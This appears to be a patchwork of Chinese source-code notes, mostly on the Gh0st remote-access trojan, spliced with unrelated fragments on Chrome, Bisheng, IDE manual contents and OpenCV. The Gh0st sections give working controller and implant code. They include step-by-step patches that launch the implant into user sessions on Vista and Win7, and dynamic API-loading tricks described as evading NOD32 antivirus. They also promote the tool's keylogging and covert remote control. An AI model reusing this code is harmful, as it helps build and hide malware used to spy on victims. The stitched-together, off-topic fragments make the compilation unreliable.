gh0st源码分析,整理笔记
Gh0st通信协议解析
界面篇等我先搞完这个通信协议解析再说,要不我老觉得自己是在扯淡。
在这里我也给自己这两天搞的协议解析找个网络存储做一下备份。
Gh0st通信协议解析(1)正所谓蛇打七寸,今天我们对gh0st的通信协议进行一个完整的解析,看看gh0st这款远控的核心技术的来龙去脉。
************************************************************************ *******从主控端初始化IOCP服务器开始讲起[cpp]view plaincopyprint?1.// 启动IOCP服务器2.int nPort = m_IniFile.GetInt("Settings", "ListenPort");3.int nMaxConnection = m_IniFile.GetInt("Settings", "MaxConnection");4.if (nPort == 0)5. nPort = 80;6.if (nMaxConnection == 0)7. nMaxConnection = 10000;8.9.if (m_IniFile.GetInt("Settings", "MaxConnectionAuto"))10. nMaxConnection = 8000;11.12.((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection); IOCP服务器是在CGh0stApp::InitInstance这个函数中被调用的,实际上是调用了CMainFrame的一个成员函数:CMainFrame::Active。
看看这个函数都做了哪些事情。
[cpp]view plaincopyprint?1.void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)2.{3. CString str;4.5.if (m_iocpServer != NULL)6. {7. m_iocpServer->Shutdown();8.delete m_iocpServer;9.10. }11. m_iocpServer = new CIOCPServer;12.13.// 开启IPCP服务器14.if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))15. {16.17.char hostname[256];18. gethostname(hostname, sizeof(hostname));19. HOSTENT *host = gethostbyname(hostname);20.if (host != NULL)21. {22.for ( int i=0; ; i++ )23. {24. str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);25.if ( host->h_addr_list[i] + host->h_length >= host->h_name )26.break;27. str += "/";28. }29. }30.31. m_wndStatusBar.SetPaneText(0, str);32. str.Format("端口: %d", nPort);33. m_wndStatusBar.SetPaneText(2, str);34. }35.else36. {37. str.Format("端口%d绑定失败", nPort);38. m_wndStatusBar.SetPaneText(0, str);39. m_wndStatusBar.SetPaneText(2, "端口: 0");40. }41.42. m_wndStatusBar.SetPaneText(3, "连接: 0");43.}首先判断这个m_iocpServer全局变量是否已经指向了一个CIOCPServer,如果是的话,就要先关闭它,并且删除掉这个CIOCPServer所占的内存空间。
google_chrome_源代码_分析
************************************************** **(本文从网上整理得到,源地址/caimouse/archive/2008/09/07/2893806.aspx)谷歌浏览器的源码分析(1) 收藏随着网络技术的发展,越来越多应用都已经离不开网络,特别像人类大脑一样的知识库的搜索引擎,更加是离不开功能强大的云计算。
不过,即便云计算非常强大,但它还不能直接地把结果呈现给用户,这样就需要一个客户端来呈现出来,这个客户端就是浏览器。
现在越来越多人上网,他们每一次上网,都离不开浏览的使用,这已经是一个不可缺少的软件了。
这里介绍和分析谷歌推出有创新的浏览器,它的速度比其它浏览器快很多,那么它是怎么实现的呢?又采用了什么样的技术能达到这样呢?又比如它的标签页是每一个进程进行显示的,这到底又是怎么样实现的呢?下面来通过分析它的源码,一一地解开这种高新技术的使用,以及这种高效算法的奥秘。
谷歌浏览器的英语名称为Chrome,它的意义是铬。
铬是一种有光泽的、蓝灰色的坚硬金属元素。
不失光泽,抗腐蚀,最早在铬铁矿中发现。
用作催化剂,可加强钢合金的强度和生产不锈钢,可以做防腐镀层和玻璃制品中的颜料。
原子序数24;原子量51.996;比重7.18;化合价2,3,6。
谷歌起这个名称,可能是想让这个浏览器永远不失去光泽,永远那么吸引人。
铬是无毒,化学性质很稳定,有延展性,含杂质时硬而脆。
熔点1857C,沸点2672C,密度单晶为7.22克/厘米3,多晶为7.14克/厘米3;铬,原子序数24,原子量51.9961。
铬的名称来自希腊文Chroma,意为颜色。
因为这种元素以多种不同颜色的化合物存在,故被称为“多彩的元素”。
可用于制不锈钢,汽车零件,工具,磁带和录像带等。
铬镀在金属上可以防锈,也叫可多米,坚固美观。
红、绿宝石的色彩也来自于铬。
作为现代科技中最重要的金属,以不同百分比熔合的铬镍钢千变万化,种类繁多,令人难以置信。
bisheng源码解读
bisheng源码解读
Bisheng是一个基于React的静态网站生成器,它使用Markdown文件作为输入,可以帮助开发者快速构建静态网站。
Bisheng的源码解读涉及到对其代码结构、功能模块、核心算法等方面的分析。
首先,我们可以从Bisheng的代码结构入手,它通常包括配置文件、核心模块、插件系统、工具函数等部分。
配置文件用于指定网站的基本配置,核心模块负责解析Markdown文件、生成静态页面等核心功能,插件系统则提供了扩展Bisheng功能的接口,工具函数则包括一些辅助性的函数。
其次,我们可以分析Bisheng的功能模块,比如它是如何解析Markdown文件、生成静态页面的,它的路由系统是如何设计的,以及它是如何处理样式和资源文件的。
这些功能模块的解读可以帮助我们更深入地理解Bisheng的工作原理。
另外,我们还可以关注Bisheng的核心算法,比如它是如何实现页面的自动化生成和更新的,它是如何处理页面之间的依赖关系的,以及它是如何实现自定义插件的。
这些核心算法的解读可以帮
助我们理解Bisheng的高效性和灵活性。
总的来说,对Bisheng源码的解读需要我们从代码结构、功能模块、核心算法等多个角度进行分析,以便全面地理解这个静态网站生成器的工作原理和实现方式。
希望以上内容能够帮助你更好地理解Bisheng的源码。
Gh0st屏幕控制完美支持Vista Win7
Gh0st屏幕控制完美支持Vista Win7之前发了个GH0st动态版.看到留言说不支持win7,我想说下,那东西是我两年前改的.只是前几天整理硬盘的时候看到发上来.所以有BUG和不免杀是很正常的事.这两天帮朋友改一个gh0st,在测试win7功能的时候发现以前网上公布的方法不是很好兼容,虽然屏幕可以用,但是上线速度很慢,而且服务端不会自删除.更重要的是还得用管理员模式才能运行,反复找资料和测试.终于解决了gh0st完美兼容Win7和Vista的问题,双击就可以运行,我尽量把笔记写的详细些.如果还有朋友不懂的话可以给我留言或者到/9.htm这留言.我看到会给你回复的.方法有2种.我说其中一种吧.打开server的until.cpp文件.在最后面#endif的上面加上下列代码DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand ) { DWORD dwRet = 0; PROCESS_INFORMATION pi; STARTUPINFO si; DWORD dwSessionId; HANDLE hUserToken = NULL; HANDLE hUserTokenDup = NULL; HANDLE hPToken = NULL; HANDLE hProcess = NULL; DWORD dwCreationFlags; HMODULE hInstKernel32 = NULL; typedef DWORD (WINAPI*WTSGetActiveConsoleSessionIdPROC)(); WTSGetActiveConsoleSessionIdPROC WTSGetActiveConsoleSessionId = NULL;hInstKernel32 = LoadLibrary("Kernel32.dll"); if(!hInstKernel32) { return FALSE; } WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdPROC)GetProcAddress( hInstKernel32,"WTSGetActiveConsoleSessionId"); // Log the client on to the local computer. dwSessionId = WTSGetActiveConsoleSessionId(); do{ WTSQueryUserToken( dwSessionId,&hUserTok en ); dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE; ZeroMemory( &si, sizeof( STARTUPINFO ) ); si.cb=sizeof( STARTUPINFO ); si.lpDesktop ="winsta0\\default"; ZeroMemory( &pi, sizeof(pi) ); TOKEN_PRIVILEGES tp; LUID luid;if( !::OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_ADJUST_SESSIONID | TOKEN_READ | TOKEN_WRITE, &hPToken ) ) { dwRet =GetLastError(); break; } else; if( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME,&luid ) ) { dwRet = GetLastError();break; } else; tp.PrivilegeCount =1;tp.Privileges[0].Luid =luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;if( !DuplicateTokenEx( hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary,&hUserTokenDup ) ) { dwRet = GetLastError(); break; } else; //Adjust Token privilegeif( !SetTokenInformation( hUserTokenDup,TokenSessionI d,(void*)&dwSessionId,sizeof(DWORD) ) ){ dwRet = GetLastError(); break; } else;if( !AdjustTokenPrivileges( hUserTokenDup, FALSE,&tp, sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL, NULL ) ) { dwRet = GetLastError(); break; } else; LPVOID pEnv =NULL; DWORD (__stdcall*CreateEnvironmentBlock)( LPVOID *, HANDLE, BOOL ); CreateEnvironmentBlock = (DWORD (__stdcall *)(LPVOID *,HANDLE,BOOL))GetProcAddress( LoadLibrary("UserEnv. dll"), "CreateEnvironmentBlock" ); if(!CreateEnvironmentBlock) break;if( CreateEnvironmentBlock( &pEnv, hUserTokenDup, TRUE ) ){ dwCreationFlags|=CREATE_UNICODE_ENVIRONM ENT; } else pEnv=NULL; // Launch the process in the client's logon session.if( CreateProcessAsUser( hUserTokenDup, // client's access token NULL, // file to execute lpCommand, // command line NULL,// pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable dwCreationFlags,// creation flags pEnv, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ) ) { } else { dwRet = GetLastError(); break; } } while( 0 ); //Perform All the Close Handles taskif( NULL != hUserToken ){ CloseHandle( hUserToken ); } else;if( NULL != hUserTokenDup){ CloseHandle( hUserTokenDup ); } else;if( NULL != hPToken ){ CloseHandle( hPToken ); } else; return dwRet; }然后打开until.h 同样在最后面的#endif上面加上DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand );然后打开svchost.cpp搜索extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )在上面加上extern "C" __declspec(dllexport) void XiaoDeBu(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, int nCmdShow ) { main(lpCmdLine); }搜索g_dwServiceType =QueryServiceTypeFromRegedit(svcname);在下面加上HANDLE hThread = NULL; OSVERSIONINFO OsVerInfoEx; OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfoEx); if( OsVerInfoEx.dwMajorVersion < 6 )//判断那种系统,如果小于6,直接用原来的代码{ HANDLE hThread = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL); } else { CHAR lpCommand[256]; CHAR Start[MAX_PATH];GetModuleFileName(CKeyboardManager::g_hInstance,St art,sizeof(Start));wsprintf(lpCommand,"rundll32.exe %s,XiaoDeBu %s",Start, svcname ); LaunchAppIntoDifferentSession(lpCommand); }然后把HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);这句注释掉.上边代码中GetModuleFileName(CKeyboardManager::g_hInstance,St art,sizeof(Start));也可改成GetModuleFileName(CKernelManager::g_hInstance,Start, sizeof(Start));。
Oracle Developer Studio 12.5:代码分析器 用户指南说明书
目录
使用本文档 ........................................................................................................... 9
1 使用代码分析器 ............................................................................................... 11 代码分析器分析的数据 ................................................................................. 11 静态代码检查 ...................................................................................... 11 动态内存访问检查 ............................................................................... 12 代码覆盖检查 ...................................................................................... 12 使用代码分析器的要求 ................................................................................. 12 代码分析器 GUI .......................................................................................... 13 代码分析器命令行界面 ................................................................................. 13 远程桌面分发 .............................................................................................. 14 快速启动 ..................................................................................................... 14 ▼ 快速启动 ....................................................................................... 14
Huawei DevEco Studio使用指南_鸿蒙学堂
文档内容来自鸿蒙官方网站,鸿蒙学堂 整理
Huawei DevEco Studio 使用指南
2.3 运行 Hello World.........................................................................................................11 3 工程管理......................................................................................................................................14
3.2 支持的设备模板和编程语言 ........................................................................................ 17 3.3 创建一个新的工程.........................................................................................................18
2.2 配置开发环境 ................................................................................................................... 4 2.2.1 npm 设置............................................................................................................. 4 2.2.2 设置 Gradle 代理................................................................................................ 5 2.2.3 设置 DevEco Studio 代理................................................................................ 6 2.2.4 下载 HarmonyOS SDK .................................................................................... 8
百大框架源码解析
百大框架源码解析1.SpringFramework:介绍SpringFramework的基础概念、核心组件和特性,包括IoC、AOP、Bean生命周期、Spring MVC等。
2. Hibernate:详细介绍Hibernate框架的核心概念、工作原理、实体映射、查询语言等。
3. Struts2:介绍Struts2的MVC架构、拦截器机制、表单验证、国际化等特性。
4. Django:从模型、视图、控制器、URL分发、中间件等方面介绍Django框架的基础知识。
5. Flask:介绍Flask框架的路由、模板、表单、数据库等方面的内容。
6. Ruby on Rails:介绍Ruby on Rails框架的MVC架构、路由、模板、ORM等方面的内容。
7. Express.js:介绍Express.js框架的路由、中间件、模板引擎、数据库等方面的内容。
8. AngularJS:介绍AngularJS框架的指令、数据绑定、服务、控制器等方面的内容。
9. React:介绍React框架的虚拟DOM、组件、状态管理、生命周期等方面的内容。
10. Vue.js:介绍Vue.js框架的响应式数据绑定、指令、组件、路由等方面的内容。
11. Bootstrap:介绍Bootstrap框架的基础样式、组件、网格系统、响应式设计等方面的内容。
12. jQuery:介绍jQuery框架的DOM操作、事件处理、动画效果、Ajax等方面的内容。
13. Ember.js:介绍Ember.js框架的路由、控制器、模板、组件等方面的内容。
14. Backbone.js:介绍Backbone.js框架的模型、视图、集合、路由等方面的内容。
15. Meteor:介绍Meteor框架的实时数据通信、模板、集合、路由等方面的内容。
16. Knockout.js:介绍Knockout.js框架的可观察对象、数据绑定、模板、组件等方面的内容。
randaugment 源码解析
randaugment 源码解析RandAugment是一种数据增强方法,通过随机组合一系列图像转换操作来增加训练数据的多样性。
这种方法可以提高模型的泛化能力,并且在图像分类等任务中取得了很好的效果。
RandAugment的核心思想是通过引入随机变换来扩展训练集。
在传统的数据增强方法中,我们通常会将图像进行一些简单的操作,如旋转、翻转、缩放等。
而RandAugment关注的是图像转换操作的组合以及参数的随机化,通过引入更多更复杂的变换操作,能够生成更多样化的数据,从而增强模型的泛化能力。
下面我们将从代码实现的角度来解析RandAugment的源码。
RandAugment的实现代码位于tensorflow/models/official/vision/image_classification/augmen t.py文件中。
该文件定义了RandAugment类,主要包括两个核心方法:`__init__`和`augment_image`。
- `__init__`方法是RandAugment类的构造方法,用于初始化RandAugment实例的参数。
- `augment_image`方法实现了数据增强的具体操作。
该方法接收一个图像张量,并根据RandAugment实例的参数对图像进行一系列变换操作。
下面我们详细解析`augment_image`方法的实现。
为了对图像进行变换操作,`augment_image`方法首先从RandAugment对象中获取transform_list和magnitude_list这两个列表。
transform_list包含了多种图像变换操作,如剪切、旋转、翻转等;magnitude_list则对应了每种变换操作的参数范围。
在代码实现中,首先定义一个空的图像张量`distorted_image`,并将输入图像仿射变换到[0, 1]的范围内。
然后,通过循环遍历transform_list中的每个操作,对输入图像进行变换操作。
Gh0st3.75远程控制的原理和使用
Gh0st3.75远程控制的原理和使用【摘要】Gh0st3.75免杀远控是一款功能十分强大的远程控制的软件,可实现远程电脑控制,键盘记录,文件浏览和音频聊天等功能。
本文首先简单介绍了远程控制的原理和用途,之后简单介绍了Gh0st3.75免杀远控的功能和应用,然后通过实例演示了Gh0st3.75免杀远控的配置使用过程,并对该软件做出了总结与评价。
【关键字】Gh0st3.75免杀远控;远程控制原理;远程控制应用1.远程控制简介远程控制软件,主要用于pc管理和服务,是在网络上由一台电脑(主控端 /客户端)远距离去控制另一台电脑(被控端 Host/服务器端)的应用软件,使用时客户端程序向被控端电脑中的服务器端程序发出信号,建立一个特殊的远程服务,然后通过这个远程服务,使用各种远程控制功能发送远程控制命令,控制被控端电脑中的各种应用程序运行。
具有强大的内网穿透功能。
1.1远程控制的原理远控软件一般分客户端程序(Client)和服务器端程序(Server)两部分,通常将客户端程序安装到主控端的电脑上,将服务器端程序安装到被控端的电脑上。
使用时客户端程序向被控端电脑中的服务器端程序发出信号,建立一个特殊的远程服务,然后通过这个远程服务,使用各种远程控制功能发送远程控制命令,控制被控端电脑中的各种应用程序运行。
用户连接到网络上,通过远程访问的客户端程序发送客户身份验证信息和与远程主机连接的要求,远程主机的服务器端程序验证客户身份,如果验证通过,那么就与客户建立连接,并向用户发送给验证通过和已建立连接的信息。
那么这个时候,用户便可以通过客户端程序监控或向远程主机发送要执行的指令,而服务器端程序则执行这些指令,并把键盘、鼠标和屏幕刷新数据传给客户端程序,客户端程序通过运算把主机的屏幕等信息显示给用户看,使得用户可以在远程主机上进行工作。
如果没有通过身份验证的话,就是没有与用户建立连接,用户也就不能远程控制远程主机了。
opencv源码解析之(6):hog源码分析
opencv源码解析之(6):hog源码分析⼀、⽹上⼀些参考资料 在博客中已经使⽤了opencv⾃带的函数detectMultiScale()实现了对⾏⼈的检测,当然了,该算法采⽤的是hog算法,那么hog算法是怎样实现的呢?这⼀节就来简单分析⼀下opencv中⾃带 hog源码。
⽹上也有不少⽹友对opencv中的hog源码进⾏了分析,很不错,看了很有收获。
⽐如: 该博客对该hog算法中⽤到的block,cell等概念有⼀定的图标解释; 该博客是转载的,⾥⾯有opencv源码的⼀些注释,很有帮助。
本博客对hog描述算⼦长度的计算做了⼀定介绍。
该博客对hog中快速算法的三线插值将得很详细。
这篇博客对hog怎样训练和检测做了⼀定的讲解。
⼆、关于源码的⼀些简单说明本⽂不是讲解hog理论的,所以需要对hog算法有⼀定了解,这些可以去参考hog提出者的博⼠论⽂,写得很详细。
按照正常流程,hog⾏⼈检测分为训练过程和检测过程,训练过程主要是训练得到svm的系数。
在opencv源码中直接采⽤训练好了的svm系数,所以训练过程源码中没有涉及到多少。
⾸先还是对hog源码中⼀些固定参数来个简单说明: 检测窗⼝⼤⼩为128*64; Block⼤⼩为16*16; Cell⼤⼩为8*8; Block在检测窗⼝中上下移动尺⼨为8*8; 1个cell的梯度直⽅图化成9个bin; 滑动窗⼝在检测图⽚中滑动的尺⼨为8*8; 代码中的⼀个hog描述⼦是针对⼀个检测窗⼝⽽⾔的,所以⼀个检测窗⼝共有105=((128-16)/8+1)*((64-16)/8+1)个block;⼀个block中有4个cell,⽽⼀个cell的hog描述⼦向量的长度为9;所以检测窗⼝的hog向量长度=3780=105*4*9维。
三、hog训练部分流程的简单理解虽然hog源码中很少涉及到训练部分的代码,不过了解下训练过程的流程会对整个检测过程有个整体认识。
gh0st源码分析与远控的编写(四)
gh0st源码分析与远控的编写(四)本文轉自:/C/gh0st_1.html 原作者: phithon以后对于gh0st的文章,就是一个一个模块的分析。
原本gh0st 就是由很多功能组成的一个强大的远控,但有些东西并不是功能越强大越好。
我们到最后,会做一个gh0st的精简,留下最重要的功能,淘汰一些庞大而容易暴露的功能。
所以,只有我们模块化了一个软件之后,我们才能更方便地去删除或增加一个功能,否则删除掉某个模块之后导致整个gh0st运行不了了,得不偿失。
今天带来的是进程管理模块,这个模块文件是SystemManager.cpp。
我们先来看被控端,一个获取当前进程列表的模块。
调用的相关api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle 首先调用CreateToolhelp32Snapshot 创建当前进程列表的快照,再调用Process32First获得快照中第一个进程句柄,OpenProcess打开此进程,EnumProcessModules列举这个进程引用的模块(第一个模块就是进程自身,原本这个函数应该返回该进程所有模块的一个数组,但因为我只需要第一个模块,所以传入一个HMODULE型地址即可)。
得到他自身的模块后,GetModuleFileNameEx获得其完整名称。
此时就算获取到了进程列表中一个进程信息,再使用Process32Next获得下一个进程,重复以上步骤。
最后当Process32Next获取不到进程后,就算将整个进程列表快照遍历完了,调用CloseHandle关闭快照句柄即可。
流程图如下:下面就是gh0st中,获取进程列表的代码:01 LPBYTE CSystemManager::getProcessList()02 {03 HANDLE hSnapshot = NULL;04 HANDLE hProcess = NULL;05 HMODULE hModules = NULL;06 PROCESSENTRY32 pe32 = {0};07 DWORD cbNeeded;08 char strProcessName[MAX_PATH] = {0};09 LPBYTE lpBuffer = NULL;10 DWORD dwOffset = 0;11 DWORD dwLength = 0;12 DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限13 //创建系统快照14 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);1516 if(hSnapshot == INVALID_HANDLE_VALUE)17 return NULL;1819 pe32.dwSize = sizeof(PROCESSENTRY32);2021 lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区2223 lpBuffer[0] = TOKEN_PSLIST; //注意这个是数据头一会我们到主控端来搜索这个数据头24 dwOffset = 1;2526 if(Process32First(hSnapshot, &pe32)) //得到第一个进程顺便判断一下系统快照是否成功27 {28 do29 {30 //打开进程并返回句柄31 hProcess =OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);32 if ((pe32.th32ProcessID !=0 ) &&(pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))33 {34 //枚举第一个模块句柄也就是自身35 EnumProcessModules(hProcess,&hModules, sizeof(hModules), &cbNeeded);36 //得到自身的完整名称37 GetModuleFileNameEx(hProcess,hModules, strProcessName, sizeof(strProcessName));38 //开始计算占用的缓冲区,我们关心他的发送的数据结构39 // 此进程占用数据大小40 dwLength = sizeof(DWORD) +lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;41 // 缓冲区太小,再重新分配下42 if (LocalSize(lpBuffer) <(dwOffset + dwLength))43 lpBuffer =(LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);4445 //接下来三个memcpy就是向缓冲区里存放数据数据结构是进程ID+进程名+0+进程完整名+046 //为什么加0 ?因为字符数据是以0结尾的47 memcpy(lpBuffer + dwOffset,&(pe32.th32ProcessID), sizeof(DWORD));48 dwOffset += sizeof(DWORD);4950 memcpy(lpBuffer + dwOffset,pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);51 dwOffset +=lstrlen(pe32.szExeFile) + 1;5253 memcpy(lpBuffer + dwOffset,strProcessName, lstrlen(strProcessName) + 1);54 dwOffset +=lstrlen(strProcessName) + 1;55 }56 }57 while(Process32Next(hSnapshot,&pe32)); //继续得到下一个快照58 }59 //用lpbuffer获得整个缓冲区60 lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset,LMEM_ZEROINIT|LMEM_MOVEABLE);6162 DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权63 CloseHandle(hSnapshot); //释放句柄64 return lpBuffer; //这个数据返回后就是发送了之前讲过了,我们可以到主控端去搜索TOKEN_PSLIST了。
Gh0st通信协议解析
界面篇等我先搞完这个通信协议解析再说,要不我老觉得自己是在扯淡。
在这里我也给自己这两天搞的协议解析找个网络存储做一下备份。
Gh0st通信协议解析(1)正所谓蛇打七寸,今天我们对gh0st的通信协议进行一个完整的解析,看看gh0st这款远控的核心技术的来龙去脉。
************************************************************************ *******从主控端初始化IOCP服务器开始讲起[cpp]view plaincopyprint?1.// 启动IOCP服务器2.int nPort = m_IniFile.GetInt("Settings", "ListenPort");3.int nMaxConnection = m_IniFile.GetInt("Settings", "MaxConnection");4.if (nPort == 0)5. nPort = 80;6.if (nMaxConnection == 0)7. nMaxConnection = 10000;8.9.if (m_IniFile.GetInt("Settings", "MaxConnectionAuto"))10. nMaxConnection = 8000;11.12.((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection); IOCP服务器是在CGh0stApp::InitInstance这个函数中被调用的,实际上是调用了CMainFrame的一个成员函数:CMainFrame::Active。
看看这个函数都做了哪些事情。
[cpp]view plaincopyprint?1.void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)2.{3. CString str;4.5.if (m_iocpServer != NULL)6. {7. m_iocpServer->Shutdown();8.delete m_iocpServer;9.10. }11. m_iocpServer = new CIOCPServer;12.13.// 开启IPCP服务器14.if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))15. {16.17.char hostname[256];18. gethostname(hostname, sizeof(hostname));19. HOSTENT *host = gethostbyname(hostname);20.if (host != NULL)21. {22.for ( int i=0; ; i++ )23. {24. str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);25.if ( host->h_addr_list[i] + host->h_length >= host->h_name )26.break;27. str += "/";28. }29. }30.31. m_wndStatusBar.SetPaneText(0, str);32. str.Format("端口: %d", nPort);33. m_wndStatusBar.SetPaneText(2, str);34. }35.else36. {37. str.Format("端口%d绑定失败", nPort);38. m_wndStatusBar.SetPaneText(0, str);39. m_wndStatusBar.SetPaneText(2, "端口: 0");40. }41.42. m_wndStatusBar.SetPaneText(3, "连接: 0");43.}首先判断这个m_iocpServer全局变量是否已经指向了一个CIOCPServer,如果是的话,就要先关闭它,并且删除掉这个CIOCPServer所占的内存空间。
gh0st源码分析之文件传输上传下载
gh0st源码分析之文件传输上传下载最近在研究Ghost源码,发现他的完成端口类很强大,可以处理各种方面功能的数据,感觉很神奇,比如文件管理方面,屏幕监控等。
为什么可以控制各方面的数据呢,怎么就不乱呢?决定一探究竟。
就以文件传输为列子摸索吧,就是从服务端下载一个文件D:\mk.txt,长度为8502个字节。
我采用动态调试方法探索奥秘。
我的思路是既然下载文件肯定要接收数据的,所以首先在CIOCPServer 类里的PostRecv(ClientContext* pContext)下个断点,接收到数据后肯定要处理,再在CIOCPServer类里的OnClientReading(ClientContext* pContext, DWORDdwIoSize)函数下断点,进入这个函数里有这么一句代码:m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE); 调用回调函数,把数据交给相应的窗口处理,后面传递的参数是NC_RECEIVE_COMPLETE,待会会用到。
这是个回调函数,指向框架类CMainFrame类,再进入框架类CMainFrame类的NotifyProc(LPVOID lpParam, ClientContext *pContext, UINTnCode)函数,内容如下:try{switch(nCode){case NC_CLIENT_CONNECT:break;case NC_CLIENT_DISCONNECT://g_pConnectView->PostMessage(WM_REMOVEF ROMLIST, 0,(LPARAM)pContext);break;case NC_TRANSMIT:break;case NC_RECEIVE://ProcessReceive(pContext);break;case NC_RECEIVE_COMPLETE: //这不是刚才传进的参数吗?ProcessReceiveComplete(pContext); //熬,原来关键在这里,转进去看看break;}}catch(...){}我们刚才传递的是NC_RECEIVE_COMPLETE,所以我们只关心对它的处理,接着我们转到ProcessReceiveComplete(pContext)里看看并下断点,我只把跟我们相关的处理拿出来:case FILEMANAGER_DLG:((CFileManagerDlg*)dlg)->OnReceiveComplete();break;为什么一定会来到这个case语句呢?你怎么知道就一定会来到这里呢?其实忘记给大家说了,当你右键单击文件管理这个菜单项的时候就会投递一个消息:PostMessage(WM_OPENAUDIODIALOG,0, (LPARAM)pContext);而这个消息的响应函数是OnOpenManagerDialog (WPARAM wParam, LPARAM lParam),打开文件管理对话框类,那就在OnOpenManagerDialog函数看看吧: ClientContext *pContext =(ClientContext *)lParam;CFileManagerDlg *dlg = new CFileManagerDlg(this,m_iocpServer, pContext);dlg->Create(IDD_FILE,GetDesktopWindow());dlg->ShowWindow(SW_SHOW);pContext->m_Dialog[0] =FILEMANAGER_DLG;pContext->m_Dialog[1] = (int)dlg;//上面的两句为客户端上下文的m_Dialog成员赋值了,类型是文件管理对话框。
Gh0st 源码免杀过NOD32 动态调用纪录
CreateMutex
typedef HANDLE (WINAPI *CreateMutexAT)
(
__in_opt LPSECURITY_ATTRIBUTES lpMutexAttributes,
__in BOOL bInitialOwner,
__in_opt LPCSTR lpName
lstrcat
typedef LPSTR (WINAPI *lstrcatAT)
(
__inout LPSTR lpString1,
__in LPCSTR lpString2
);
lstrcatAT plstrcatA= (lstrcatAT)GetProcAddress(LoadLibrary("kernel32.dll"),"lstrcatA");
GetWindowsDirectory
typedef UINT (WINAPI *GetWindowsDirectoryAT)
(
__out_ecount_part_opt(uSize, return + 1) LPSTR lpBuffer,
__in UINT uSize
);
GetWindowsDirectoryAT pGetWindowsDirectoryA= (GetWindowsDirectoryAT)GetProcAddress(LoadLibrary("kernel32.dll"),"GetWindowsDirectoryA");
__out_ecount_opt(nFileSystemNameSize) LPSTR lpFileSystemNameBuffer,
gh0st源码笔记 详解
免费的!MICROSOFT SPEECH SDK 5.1\INCLUDEMICROSOFT SPEECH SDK 5.1\LIB以上两个目录是教程里面提到的,可以不使用,一样可以编译第一节课新建MFC工程,单文档模式,基类用CListView,其余默认即可打开gh0stView.cpp找到void CGh0stView::OnInitialUpdate()函数新建一个结NONCLIENTMETRICS ncm;NONCLIENTMETRICS这个结构就包含了非客户区的一些属性对ncm变量进行初始化memset(&ncm, 0, sizeof(NONCLIENTMETRICS));对这个结构的成员函数进行设置ncm.cbSize = sizeof(NONCLIENTMETRICS); //指定了ncm的大小使用宏VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,sizeof(NONCLIENTMETRICS), &ncm,0));其目的是方便调试,在Debug版本中,如果计算的表达式为0则中断程序,并打印出错误信息,如果在Release版本中,出现表达式为0的时候,则不做任何的处理,当没有发生::SystemParametersInfo调用系统函数,查询或是设置系统参数,或是修改用户的一个外观,返回值是一个BOOL类型第一个参数是获取非客户区参数第二个参数是整个的非客户区结构的大小第三个参数是将获得到的信息保存在ncm这个地址中第四个参数由于是为了获取信息写0即可,如果是设置信息为目的,就需要换成其它参考MSDN第二节课在gh0stView.h中声明一个私有成员变量公有成员可以被所有类访问受保护成员只能在类内部或其子类可以访问私有成员只能在类内部访问,其子类是不可以访问的private:CListCtrl* m_pListCtrl;私有的列表控件的指针,为什么要声明这个呢,我们之前提到了基类是CListView,因此在这个里声明了一个指针CPP是执行文件,H是头文件接下来对我们在CPP文件中声明的私有成员变量进行赋值m_pListCtrl=&GetListCtrl();GetListCtrl()这个函数的原型是CListView::GetListCtrlCListCtrl& GetListCtrl() const; 得到一个和视图相关联的一个列表控件的引用引用的使用方法:引用相当于是一个别名,周瑜和周公谨是一个人,引用和变量也相当于是一个东西int m;int &n = m; 